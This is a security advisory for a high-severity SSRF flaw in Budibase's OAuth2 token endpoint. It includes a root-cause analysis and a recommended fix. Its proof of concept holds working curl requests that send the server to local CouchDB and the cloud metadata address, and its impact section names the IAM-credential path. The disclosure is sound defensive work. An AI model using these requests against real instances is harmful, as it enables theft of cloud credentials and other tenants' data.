GHSA-4q6h-8p4v-67vq — @budibase/server
HIGHGHSA-4q6h-8p4v-67vq is a high-severity (CVSS 8.5) Server-Side Request Forgery (SSRF) vulnerability in @budibase/server. A fix is available for @budibase/server — see the affected versions and patch details below.
Budibase: SSRF via OAuth2 token endpoint URL reaches internal hosts and cloud metadata
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-4q6h-8p4v-67vq.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-4q6h-8p4v-67vq plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@budibase/servernpmDescription
Summary
fetchToken in the OAuth2 SDK makes a POST to a builder-supplied URL with plain node-fetch, skipping the blacklist.isBlacklisted check that every other outbound fetch path in the codebase uses. The Joi schema for the OAuth2 URL has no scheme or host restriction. Alice, a builder, points an OAuth2 config at http://169.254.169.254/... or http://127.0.0.1:5984/; the server connects and returns response-body fragments in the validation result.
Details
packages/server/src/sdk/workspace/oauth2/utils.ts:17-65 defines fetchToken. Near the end:
const resp = await fetch(config.url, fetchConfig)
config.url is whatever the builder stored. fetchConfig has redirect: "follow" (the default), so a public URL that returns 302 to an internal target is also reachable.
The route validation at packages/server/src/api/routes/oauth2.ts:9 accepts any string:
url: Joi.string().required(),
The controller passes the URL into fetchToken through crud.ts. The /api/oauth2/validate endpoint (builder role) is the most direct attack path: it lives on builderRoutes, takes the URL from the body, fires the fetch, and returns a validation envelope that includes the upstream error string.
Compare with every other outbound fetch in the codebase:
packages/server/src/integrations/rest.ts:754callsblacklist.isBlacklisted(url)before its fetch (though it does not re-check redirects; see companion advisory for REST-redirect SSRF).packages/backend-core/src/utils/outboundFetch.ts:98-100setsredirect: "manual"and re-validates each hop.packages/server/src/automations/steps/outgoingWebhook.tsroutes throughfetchWithBlacklist.
The default blacklist blocks 127.0.0.0/8, 169.254.0.0/16, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (packages/backend-core/src/blacklist/blacklist.ts:6-16). The OAuth2 path never consults it.
Proof of Concept
Tested against Budibase 3.35.8 (built from master at f960e361).
Step 1: Alice, a builder, POSTs an OAuth2 config pointed at CouchDB on the same host as Budibase:
curl -sS -b "$BUILDER_COOKIE" -X POST "$BASE/api/oauth2/validate" \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1:5984/","clientId":"t","clientSecret":"t",
"method":"BODY","grantType":"client_credentials"}'
Server response:
{"valid":false,"message":"Method Not Allowed"}
Budibase reached CouchDB (which rejects POST at / with 405). Without the blacklist bypass this request would be blocked at the IP check.
Step 2: Probe the cloud metadata range:
curl -sS -b "$BUILDER_COOKIE" -X POST "$BASE/api/oauth2/validate" \
-H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"t","clientSecret":"t","method":"BODY","grantType":"client_credentials"}'
Server response:
{"valid":false,"message":"invalid json response body at http://169.254.169.254/latest/meta-data/ reason: Unexpected token 'N', \"Not Found\" is not valid JSON"}
The "Not Found" substring is the upstream body; the server reached the link-local metadata endpoint and leaked the first bytes of the response into the validation error.
Impact
Two concrete paths, both reachable from any builder account (free-tier signup on Budibase Cloud is enough):
- Cross-tenant data read on Cloud. Budibase Cloud multi-tenants on a shared CouchDB; each tenant gets its own
<tenantId>_global-dbandapp_<id>databases on the same port 5984. The blacklist is what keeps a builder from talking to CouchDB directly. With that bypassed, Alice canGET http://127.0.0.1:5984/_all_dbsvia a 302 redirector and enumerate every other tenant's databases, then read their_users, app definitions, and datasource configs (which include third-party credentials). None of this traffic goes through Budibase's tenant isolation layer, so standard app-level access controls do not apply. - IAM credential exfiltration. Alice points the URL at
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>/and receives the instance role credentials in the validation error path. Those credentials carry whatever AWS permissions the Budibase instance role holds.
Self-hosted deployments face the same CouchDB/Redis/MinIO access plus any other service reachable on the host or pod network. The blacklist was explicitly added to prevent exactly this, and every other outbound fetch path uses it.
Recommended Fix
Call blacklist.isBlacklisted before the fetch and set redirect: "manual" on fetchConfig, matching the pattern in outboundFetch.ts:
import { blacklist } from "@budibase/backend-core"
async function fetchToken(config: { url: string; /* ... */ }) {
config = await processEnvironmentVariable(config)
if (await blacklist.isBlacklisted(config.url)) {
throw new Error("OAuth2 token URL is blocked.")
}
const fetchConfig: RequestInit = {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: new URLSearchParams({ grant_type: "client_credentials" }),
redirect: "manual",
}
// ...
}
Alternatively, replace the fetch call with fetchWithBlacklist, which handles both checks and re-validates redirect targets.
Found by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @budibase/server | all versions | 3.39.0npm install @budibase/server@3.39.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @budibase/server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @budibase/server to 3.39.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4q6h-8p4v-67vq is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-4q6h-8p4v-67vq can be triaged on real exposure rather than presence alone.
Tailored to GHSA-4q6h-8p4v-67vq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4q6h-8p4v-67vq in your dependencies?
O3 Security finds GHSA-4q6h-8p4v-67vq across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.